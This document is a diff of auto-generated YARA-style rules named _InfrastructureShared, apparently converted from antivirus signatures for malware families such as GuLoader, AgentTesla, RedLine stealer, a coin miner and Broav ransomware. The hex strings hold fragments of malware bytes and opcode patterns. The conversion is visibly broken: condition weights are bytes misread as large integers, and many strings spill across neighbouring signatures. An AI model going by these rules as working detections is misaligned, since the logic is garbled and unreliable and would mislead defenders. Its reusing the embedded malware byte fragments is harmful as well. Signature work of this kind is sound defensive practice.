_InfrastructureShared_13703{ $a_65_2 = {52 65 71 75 65 73 74 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 25 81 01 24 32 61 39 33 34 30 35 34 2d 63 30 63 62 2d 34 38 63 65 2d 62 36 31 35 2d 38 38 33 65 62 30 61 62 31 63 30 32 01 00 13 81 01 4c 66 62 64 70 63 6e 69 73 6d 69 76 6d } //385 $a_69_3 = {6a 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 47 33 30 35 21 4d 54 42 00 01 00 20 01 08 09 07 09 91 06 09 06 6f 08 00 00 0a 5d 6f 09 00 00 0a 61 d2 9c 09 17 58 0d 09 07 8e 69 32 e0 01 00 14 81 01 3a 2f 2f 66 69 6c 65 73 2e 63 } //26726 $a_6f_4 = {2e 6d 6f 65 2f 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 0a 81 01 67 65 74 5f 52 65 73 75 6c 74 01 00 07 81 01 47 65 74 54 79 70 65 01 00 14 81 01 52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 00 00 78 c8 } //29793 - $a_00_5 = {08 00 08 00 21 23 48 53 } //0 - $a_54_6 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 49 21 4d 54 42 00 01 00 16 81 01 5c 6c 69 6b 65 77 61 6c 6b 5c 67 65 6e 65 76 61 73 5c 70 72 61 6a 01 00 0a } //21076 + $a_00_5 = {07 00 07 00 21 23 48 } //0 + $a_3a_6 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 54 30 31 21 4d 54 42 00 01 00 17 81 01 73 6b 61 6e 64 69 6e 61 76 69 65 6e 73 72 65 6a 73 65 73 2e 74 78 74 01 00 15 81 01 66 6c 61 6e 6e 65 6c 73 62 75 6b 73 65 72 6e 65 73 2e 74 78 74 01 00 0d 81 } //21587 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_65_2 & 1)*385+(#a_69_3 & 1)*26726+(#a_6f_4 & 1)*29793+(#a_00_5 & 1)*0+(#a_54_6 & 1)*21076) >=7 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_65_2 & 1)*385+(#a_69_3 & 1)*26726+(#a_6f_4 & 1)*29793+(#a_00_5 & 1)*0+(#a_3a_6 & 1)*21587) >=7 } -rule _InfrastructureShared_13704{ +rule _InfrastructureShared_14612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155246,30 +165717,63 @@ rule _InfrastructureShared_13704{ $a_81_2 = {67 65 74 5f 52 65 73 75 6c 74 } //1 get_Result $a_81_3 = {47 65 74 54 79 70 65 } //1 GetType $a_81_4 = {52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 } //1 ReadAsByteArrayAsync - $a_c8_5 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 49 21 4d 54 42 00 01 00 16 81 01 5c 6c 69 6b 65 77 61 6c 6b 5c 67 65 6e 65 76 61 73 5c 70 72 61 6a 01 00 0a 81 01 4d 61 72 64 75 6b 2e 74 78 74 01 00 0c 81 01 53 70 6c 65 6e 69 75 6d 2e 6a 70 67 01 00 0e 81 01 61 73 74 72 75 63 74 69 76 65 2e 69 } //0 - $a_00_6 = {0d } //26990 + $a_c8_5 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 54 30 31 21 4d 54 42 00 01 00 17 81 01 73 6b 61 6e 64 69 6e 61 76 69 65 6e 73 72 65 6a 73 65 73 2e 74 78 74 01 00 15 81 01 66 6c 61 6e 6e 65 6c 73 62 75 6b 73 65 72 6e 65 73 2e 74 78 74 01 00 0d 81 01 68 6a 6d 65 73 73 65 72 73 2e 6a 70 67 01 00 0f 81 01 62 65 6b 6c } //0 + $a_6e_6 = {6e 67 2e 6a 70 67 01 00 13 81 01 62 6f 67 73 74 61 76 6c 61 61 73 65 6e 65 73 2e 73 74 69 01 00 13 81 01 56 61 72 6d 65 6d 65 73 74 65 72 73 31 37 33 2e 69 6e 69 01 00 0f 81 01 4b 75 67 6c 65 72 75 6e 64 65 73 2e 61 6e 6e 00 00 78 c8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //25953 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29541+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_c8_5 & 1)*0+(#a_00_6 & 1)*26990) >=7 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29541+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_c8_5 & 1)*0+(#a_6e_6 & 1)*25953) >=7 } -rule _InfrastructureShared_13705{ +rule _InfrastructureShared_14613{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 54 30 31 21 4d 54 42 00 01 00 17 81 01 73 6b 61 6e 64 69 6e 61 76 69 65 6e 73 72 65 6a 73 65 73 2e 74 78 74 01 00 15 81 01 66 6c 61 6e 6e 65 6c 73 62 75 6b 73 65 72 6e 65 73 2e 74 78 74 01 00 0d } //18467 + $a_6a_1 = {65 73 73 65 72 73 2e 6a 70 67 01 00 0f 81 01 62 65 6b 6c 61 65 64 6e 69 6e 67 2e 6a 70 67 01 00 13 81 01 62 6f 67 73 74 61 76 6c 61 61 73 65 6e 65 73 2e 73 74 69 01 00 13 81 01 56 61 72 6d 65 6d 65 73 74 65 72 73 31 37 33 2e 69 6e 69 01 00 0f 81 01 4b 75 67 6c 65 72 75 6e 64 65 73 2e 61 6e 6e 00 00 78 c8 00 00 } //385 + $a_00_2 = {08 00 21 23 48 53 54 52 } //8 + $a_6f_3 = {61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 49 21 4d 54 42 00 01 00 16 81 01 5c 6c 69 6b 65 77 61 6c 6b 5c 67 65 6e 65 76 61 73 5c 70 72 61 6a 01 00 0a 81 01 4d 61 72 64 75 6b 2e 74 78 74 01 00 0c 81 01 53 70 6c 65 6e 69 75 6d 2e 6a 70 67 01 00 0e 81 01 61 73 74 72 75 63 74 69 76 65 2e 69 6e 69 01 00 0d 81 01 67 69 74 74 65 } //21562 + $a_72_4 = {70 69 6e 01 00 0d 81 01 72 65 73 70 69 74 69 6e 67 2e 68 6f 72 01 00 12 81 01 73 75 62 64 65 6d 6f 6e 73 74 72 61 74 65 2e 74 61 6c 01 00 0d 81 01 77 68 69 74 68 65 72 74 6f 2e 69 6e 69 00 00 78 c8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 57 21 4d 54 42 00 01 } //29554 + $a_01_5 = {5c 66 75 6e 67 69 62 6c 65 5c 63 69 70 68 65 72 5c 61 66 73 6b 65 64 69 67 65 6c 73 65 72 01 00 0c 81 01 47 6c 64 65 72 6e 65 73 2e 6b 6f 6d 01 00 0e 81 01 61 64 61 70 74 65 72 65 64 65 2e 6f 72 64 01 00 0c 81 01 65 78 61 6e 74 68 65 6d 2e 6e 61 76 01 00 09 81 01 67 65 6e 65 6e 2e 74 78 74 01 00 0b 81 01 68 61 6d 6d 6f 63 6b 2e 69 6e 69 01 00 10 81 01 68 6f 6d 6f 6c 6f 67 69 73 69 6e } //7680 + $a_6e_6 = {01 00 0b 81 01 71 75 69 65 6e 61 6c 2e 6c 69 67 00 00 78 c8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 51 00 01 00 0f 00 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 57 01 00 09 00 77 69 6e 6d 6d 2e 64 6c 6c 01 00 13 00 6d 6d 69 6f 53 74 72 69 } //11879 + condition: + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*385+(#a_00_2 & 1)*8+(#a_6f_3 & 1)*21562+(#a_72_4 & 1)*29554+(#a_01_5 & 1)*7680+(#a_6e_6 & 1)*11879) >=7 + +} +rule _InfrastructureShared_14614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 49 21 4d 54 42 00 01 00 16 81 01 5c 6c 69 6b 65 77 61 6c 6b 5c 67 65 6e 65 76 61 73 5c 70 72 61 6a 01 00 0a 81 01 4d 61 72 64 75 6b 2e 74 78 74 01 00 0c 81 01 53 70 6c 65 6e } //18467 $a_2e_1 = {70 67 01 00 0e 81 01 61 73 74 72 75 63 74 69 76 65 2e 69 6e 69 01 00 0d 81 01 67 69 74 74 65 72 73 70 72 2e 70 69 6e 01 00 0d 81 01 72 65 73 70 69 74 69 6e 67 2e 68 6f 72 01 00 12 81 01 73 75 62 64 65 6d 6f 6e 73 74 72 61 74 65 2e 74 61 6c 01 00 0d 81 01 77 68 69 74 68 65 72 74 6f 2e 69 6e 69 00 00 78 c8 00 00 08 00 08 00 08 } //30057 - $a_48_2 = {54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 51 00 01 00 0f 00 43 61 } //8448 - $a_69_3 = {64 6f 77 50 72 6f 63 57 01 00 09 00 77 69 6e 6d 6d 2e 64 6c 6c 01 00 13 00 6d 6d 69 6f 53 74 72 69 6e 67 54 6f 46 4f 55 52 43 43 41 01 00 1c 00 50 72 69 76 69 6c 65 67 65 64 53 65 72 76 69 63 65 41 75 64 69 74 41 6c 61 72 6d 41 01 00 0c 80 01 52 72 6f 70 62 6f } //27756 - $a_58_4 = {63 01 00 0d 80 01 52 69 74 6f 69 6e 20 52 6f 6a 65 63 74 01 00 0f 80 01 5a 6d 69 74 68 20 53 70 } //11384 - $a_74_5 = {6f 6e 01 00 0c 80 01 41 73 73 6f 6c 69 74 6f 2e 65 78 65 00 00 78 c8 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4c 44 39 38 39 21 4d 54 42 00 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 0e 81 01 4e 65 77 4c 61 74 65 } //29295 - $a_64_6 = {6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 81 01 48 65 78 54 6f 53 74 72 69 6e 67 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 0c 81 01 23 47 65 74 23 4d 65 74 23 68 6f 64 01 00 13 81 01 42 23 75 6e 23 69 66 75 23 5f 54 65 78 23 74 42 6f 23 78 01 00 09 81 01 23 49 6e 76 23 6f 23 6b 65 01 00 } //26946 - $a_47_7 = {74 } //-32504 t + $a_48_2 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 57 21 4d 54 42 00 01 00 } //8448 + $a_5c_3 = {75 } //-32482 u + $a_62_4 = {65 5c 63 69 70 68 65 72 5c 61 66 73 6b 65 64 69 67 65 6c 73 65 72 01 00 0c 81 01 47 6c 64 65 72 6e 65 73 2e 6b 6f 6d 01 00 0e 81 01 61 64 61 70 74 65 72 65 64 65 2e 6f 72 64 01 00 0c 81 01 65 78 61 6e 74 68 65 6d 2e 6e 61 76 01 00 09 81 01 67 65 6e 65 6e 2e 74 78 74 01 00 0b 81 01 68 61 6d 6d 6f 63 6b 2e 69 6e 69 } //26478 + $a_81_5 = {68 6f 6d 6f 6c 6f 67 69 73 69 6e 67 2e 69 6e 69 } //1 homologising.ini + $a_81_6 = {71 75 69 65 6e 61 6c 2e 6c 69 67 } //1 quienal.lig + $a_c8_7 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 51 00 01 00 0f 00 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 57 01 00 09 00 77 69 6e 6d 6d 2e 64 6c 6c 01 00 13 00 6d 6d 69 6f 53 74 72 69 6e 67 54 6f 46 4f 55 52 43 43 41 01 00 1c 00 50 72 69 76 69 6c 65 67 65 64 53 65 72 76 69 63 65 41 75 64 69 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*30057+(#a_48_2 & 1)*8448+(#a_69_3 & 1)*27756+(#a_58_4 & 1)*11384+(#a_74_5 & 1)*29295+(#a_64_6 & 1)*26946+(#a_47_7 & 1)*-32504) >=8 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*30057+(#a_48_2 & 1)*8448+(#a_5c_3 & 1)*-32482+(#a_62_4 & 1)*26478+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_c8_7 & 1)*0) >=8 } -rule _InfrastructureShared_13706{ +rule _InfrastructureShared_14615{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 57 21 4d 54 42 00 01 00 1e 81 01 5c 66 75 6e 67 69 62 6c 65 5c 63 69 70 68 65 72 5c 61 66 73 6b 65 64 69 67 65 6c 73 65 72 01 00 0c 81 01 47 6c 64 65 72 6e 65 73 2e 6b 6f 6d } //18467 + $a_81_1 = {61 64 61 70 74 65 72 65 64 65 2e 6f 72 64 } //1 adapterede.ord + $a_81_2 = {65 78 61 6e 74 68 65 6d 2e 6e 61 76 } //1 exanthem.nav + $a_81_3 = {67 65 6e 65 6e 2e 74 78 74 } //1 genen.txt + $a_81_4 = {68 61 6d 6d 6f 63 6b 2e 69 6e 69 } //1 hammock.ini + $a_81_5 = {68 6f 6d 6f 6c 6f 67 69 73 69 6e 67 2e 69 6e 69 } //1 homologising.ini + $a_81_6 = {71 75 69 65 6e 61 6c 2e 6c 69 67 } //1 quienal.lig + $a_c8_7 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 51 00 01 00 0f 00 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 57 01 00 09 00 77 69 6e 6d 6d 2e 64 6c 6c 01 00 13 00 6d 6d 69 6f 53 74 72 69 6e 67 54 6f 46 4f 55 52 43 43 41 01 00 1c 00 50 72 69 76 69 6c 65 67 65 64 53 65 72 76 69 63 65 41 75 64 69 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_c8_7 & 1)*0) >=8 + +} +rule _InfrastructureShared_14616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -155285,7 +165789,7 @@ rule _InfrastructureShared_13706{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*30313+(#a_53_3 & 1)*8993+(#a_6f_4 & 1)*17921+(#a_00_5 & 1)*0+(#a_72_6 & 1)*14930+(#a_6e_7 & 1)*16897) >=8 } -rule _InfrastructureShared_13707{ +rule _InfrastructureShared_14617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -155301,7 +165805,7 @@ rule _InfrastructureShared_13707{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_48_3 & 1)*8448+(#a_45_5 & 1)*13860+(#a_49_6 & 1)*29793+(#a_2e_7 & 1)*26469+(#a_61_8 & 1)*26950) >=9 } -rule _InfrastructureShared_13708{ +rule _InfrastructureShared_14618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -155316,7 +165820,7 @@ rule _InfrastructureShared_13708{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28769+(#a_6e_2 & 1)*16897+(#a_53_3 & 1)*8993+(#a_53_5 & 1)*21505+(#a_50_8 & 1)*19539) >=9 } -rule _InfrastructureShared_13709{ +rule _InfrastructureShared_14619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -155334,7 +165838,7 @@ rule _InfrastructureShared_13709{ ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*17153+(#a_3a_3 & 1)*17744+(#a_e8_4 & 1)*29184+(#a_65_5 & 1)*28777+(#a_42_6 & 1)*19745+(#a_61_7 & 1)*24909+(#a_2b_8 & 1)*5644+(#a_22_9 & 1)*1025) >=10 } -rule _InfrastructureShared_13710{ +rule _InfrastructureShared_14620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -155346,7 +165850,7 @@ rule _InfrastructureShared_13710{ ((#a_46_0 & 1)*21283+(#a_83_1 & 1)*7680+(#a_04_3 & 1)*-28440) >=11 } -rule _InfrastructureShared_13711{ +rule _InfrastructureShared_14621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -155359,7 +165863,7 @@ rule _InfrastructureShared_13711{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*17696+(#a_3a_4 & 1)*19521+(#a_90_5 & 1)*25189) >=12 } -rule _InfrastructureShared_13712{ +rule _InfrastructureShared_14622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0d 00 05 00 21 " @@ -155373,7 +165877,7 @@ rule _InfrastructureShared_13712{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*12038+(#a_23_2 & 1)*3+(#a_da_3 & 1)*1294+(#a_90_4 & 1)*27736) >=13 } -rule _InfrastructureShared_13713{ +rule _InfrastructureShared_14623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -155385,7 +165889,7 @@ rule _InfrastructureShared_13713{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10263+(#a_6e_2 & 1)*26433) >=14 } -rule _InfrastructureShared_13714{ +rule _InfrastructureShared_14624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -155399,7 +165903,7 @@ rule _InfrastructureShared_13714{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-10729+(#a_65_3 & 1)*384+(#a_61_4 & 1)*29554+(#a_5d_5 & 1)*260) >=14 } -rule _InfrastructureShared_13715{ +rule _InfrastructureShared_14625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 14 00 21 " @@ -155414,19 +165918,19 @@ rule _InfrastructureShared_13715{ $a_81_9 = {43 72 79 70 74 6f 53 74 72 65 61 6d } //1 CryptoStream $a_81_10 = {47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 } //1 GetExecutingAssembly $a_81_11 = {43 72 79 70 74 6f 67 72 61 70 68 79 } //1 Cryptography - $a_c8_12 = {00 2b 00 2b 00 09 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 72 6f 61 76 2e 47 47 21 4d 54 42 00 0a 00 14 80 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 57 0a 00 20 80 01 47 65 74 56 6f 6c 75 6d 65 50 61 74 68 4e 61 6d 65 73 46 6f 72 56 6f 6c 75 6d 65 4e 61 6d 65 57 01 00 04 80 01 2e 4b 45 59 0a 00 0c 80 01 24 52 45 43 59 } //0 - $a_2e_13 = {49 4e 0a 00 08 81 01 52 45 43 4f 56 45 52 59 01 00 09 80 01 4b 61 73 70 65 72 73 6b 79 01 00 06 80 01 4d 63 41 66 65 65 01 00 08 80 01 53 79 6d 61 6e 74 65 63 01 00 10 80 01 57 69 6e 64 6f 77 73 20 44 65 66 } //19523 - $a_65_14 = {00 00 78 c8 00 00 6f 00 6f 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 64 00 11 00 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 0a 00 15 00 46 72 65 65 77 6f 72 6b 7a 20 55 6e 69 6e 73 74 61 6c 6c 65 72 0a 00 17 00 50 6c 61 79 20 50 69 63 6b 6c 65 20 55 } //28261 - $a_73_15 = {61 6c 6c 65 72 0a 00 16 00 4c 69 76 69 6e 67 50 6c 61 79 20 75 6e 69 6e 73 74 61 6c 6c 65 72 01 00 12 02 66 72 65 65 77 6f 72 6b 7a 90 02 08 2e 64 6c 6c 90 00 01 00 13 00 70 6c 61 79 70 69 63 6b 6c 65 62 61 72 33 32 2e 64 6c 6c 01 00 13 00 6c 69 76 69 6e 67 70 6c 61 79 6c 69 62 33 32 2e 64 6c 6c 00 00 78 c9 00 00 01 00 01 00 02 } //26990 - $a_41_16 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c 65 72 50 61 63 6b 65 72 } //8448 F:Trojan:Win32/RedLineStealerPacker - $a_42_17 = {01 00 44 03 8b 54 24 0c 90 13 90 13 81 82 b8 00 00 00 90 01 01 00 00 00 b9 fc ff ff ff 90 13 90 13 90 13 90 13 89 42 08 89 42 04 90 13 89 42 0c 90 13 90 13 90 13 90 13 89 42 18 90 13 89 42 10 90 13 90 13 2b e1 90 00 01 00 49 03 8b 54 24 0c 90 13 b9 fc } //19745 - $a_81_18 = {b8 00 00 00 90 01 01 00 00 00 90 13 90 13 90 13 90 13 90 13 90 13 89 42 04 89 42 10 89 42 08 90 13 90 13 90 13 89 42 0c 90 13 89 42 18 90 13 90 13 90 13 2b e1 90 13 ff 24 0c 90 00 00 00 78 c9 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 48 6f 72 6b 72 65 6d 6f 7a 2e 43 31 21 68 61 73 68 00 01 00 48 03 8b 4d 08 c6 01 00 8b 55 90 01 01 69 d2 90 02 10 2b c2 0f af 45 90 01 01 89 45 90 01 01 8b 4d 90 01 01 83 c1 01 89 4d 90 01 01 8b 55 90 01 01 83 c2 01 89 55 90 01 01 8b 45 90 01 01 c1 f8 09 8b 4d 90 01 01 2b c8 90 00 01 00 26 03 8b 55 f8 83 c2 01 89 55 f8 8b 45 90 01 01 c1 f8 90 01 01 8b 4d 90 01 01 69 c9 90 02 0a 23 c1 3d 90 02 0a 75 90 00 01 00 2e 03 8b 55 08 83 c2 01 89 55 08 8b 45 90 02 10 89 45 90 01 01 8b 4d 90 01 01 83 c1 01 89 4d 90 01 01 8b 55 90 01 } //-1 - $a_90_19 = {04 89 55 90 00 00 00 78 c9 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 44 6f 72 6d 65 64 61 6e 2e 53 49 42 21 4d 54 42 00 01 00 5e 02 56 56 57 ff 55 ?? 57 68 ?? ?? ?? ?? 56 50 ff 35 ?? ?? ?? ?? a3 ?? ?? ?? ?? ff 55 ?? a1 90 1b 03 8a 08 [0-2a] 0f b6 c9 83 f1 ?? [0-2a] 33 f6 39 35 90 1b 01 76 ?? a1 90 1b 03 8a 14 30 32 d1 80 c2 ?? 88 14 30 46 3b 35 90 1b 01 72 ?? [0-2a] ff 15 90 00 01 00 2d 02 33 ff 8d 48 ?? 8a 10 40 84 d2 75 ?? 2b c1 48 85 c0 7e ?? 0f be 0c 37 8a 14 30 88 14 37 47 88 0c 30 48 3b f8 7c } //26881 + $a_c8_12 = {00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 4d 69 6e 65 72 2e 53 58 21 4d 54 42 00 14 00 46 03 48 89 54 24 30 48 89 44 24 28 48 89 4c 24 20 4c 8d 4d 10 4c 8d 05 90 01 04 8a 55 08 48 8d 8d c0 01 00 00 e8 90 01 04 4c 8d 85 c0 01 00 00 48 39 9d d8 01 00 00 4c 0f 47 85 c0 01 00 00 8d 53 f2 33 c9 ff d6 90 00 0a 00 38 } //0 + $a_69_13 = {45 03 d4 4b 8d 0c 90 01 01 42 8b 14 29 49 03 d0 41 bb 90 01 04 8a 0a 48 ff c2 84 c9 74 1f 0f be c9 41 33 cb 44 69 d9 43 01 00 00 8a 0a 48 ff c2 84 c9 90 00 05 00 12 03 43 3a 5c 5c 4d 53 56 43 50 90 01 02 2e 44 4c 4c 90 00 00 00 78 c8 00 00 2b 00 2b 00 09 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 72 6f 61 76 2e 47 47 21 4d 54 42 00 0a 00 14 80 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 } //17667 + $a_57_14 = {00 20 80 01 47 65 74 56 6f 6c 75 6d 65 50 61 74 68 4e 61 6d 65 73 46 6f 72 56 6f 6c 75 6d 65 4e 61 6d 65 57 01 00 04 80 01 2e 4b 45 59 0a 00 0c 80 01 24 52 45 43 59 43 4c 45 2e 42 49 4e 0a 00 08 81 01 52 45 43 4f 56 45 52 59 01 00 09 80 01 4b 61 73 70 65 72 73 6b 79 01 00 06 80 01 4d 63 41 66 65 65 01 00 08 80 01 53 79 6d 61 6e 74 65 63 01 00 10 } //30821 + $a_69_15 = {64 6f 77 73 20 44 65 66 65 6e 64 65 72 00 00 78 c8 00 00 6f 00 6f 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 64 00 11 00 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 0a 00 15 00 46 72 65 65 77 6f 72 6b 7a 20 55 6e } //384 + $a_74_16 = {6c 6c 65 72 0a 00 17 00 50 6c 61 79 20 50 69 63 6b 6c 65 20 55 6e 69 6e 73 74 61 6c 6c 65 72 0a 00 16 00 4c 69 76 69 6e 67 50 6c 61 79 20 75 6e 69 6e 73 74 61 6c 6c 65 72 01 00 12 02 66 72 65 65 77 6f 72 6b 7a 90 02 08 2e 64 6c 6c 90 00 01 00 13 00 70 6c 61 79 70 69 63 6b 6c 65 62 61 72 33 32 2e 64 6c 6c 01 00 13 00 6c 69 76 69 6e 67 70 6c 61 } //28265 + $a_62_17 = {32 2e 64 6c 6c 00 00 78 c9 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c 65 72 50 61 63 6b 65 72 21 4d 54 42 00 01 00 44 03 8b 54 24 0c 90 13 90 13 81 82 b8 00 00 00 90 01 01 00 00 00 b9 fc ff ff ff 90 13 90 13 90 13 90 13 89 42 08 89 42 04 90 } //27769 + $a_0c_18 = {90 13 90 13 90 13 90 13 89 42 18 90 13 89 42 10 90 13 90 13 2b e1 90 00 01 00 49 03 8b 54 24 0c 90 13 b9 fc ff ff ff 81 82 b8 00 00 00 90 01 01 00 00 00 90 13 90 13 90 13 90 13 90 13 90 13 89 42 04 } //-30445 + $a_89_19 = {08 90 13 90 13 90 13 89 42 0c 90 13 89 42 18 90 } //17033 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*260+(#a_01_2 & 1)*28528+(#a_00_4 & 1)*83+(#a_23_5 & 1)*8+(#a_70_7 & 1)*385+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_c8_12 & 1)*0+(#a_2e_13 & 1)*19523+(#a_65_14 & 1)*28261+(#a_73_15 & 1)*26990+(#a_41_16 & 1)*8448+(#a_42_17 & 1)*19745+(#a_81_18 & 1)*-1+(#a_90_19 & 1)*26881) >=15 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*260+(#a_01_2 & 1)*28528+(#a_00_4 & 1)*83+(#a_23_5 & 1)*8+(#a_70_7 & 1)*385+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_c8_12 & 1)*0+(#a_69_13 & 1)*17667+(#a_57_14 & 1)*30821+(#a_69_15 & 1)*384+(#a_74_16 & 1)*28265+(#a_62_17 & 1)*27769+(#a_0c_18 & 1)*-30445+(#a_89_19 & 1)*17033) >=15 } -rule _InfrastructureShared_13716{ +rule _InfrastructureShared_14626{ meta: description = 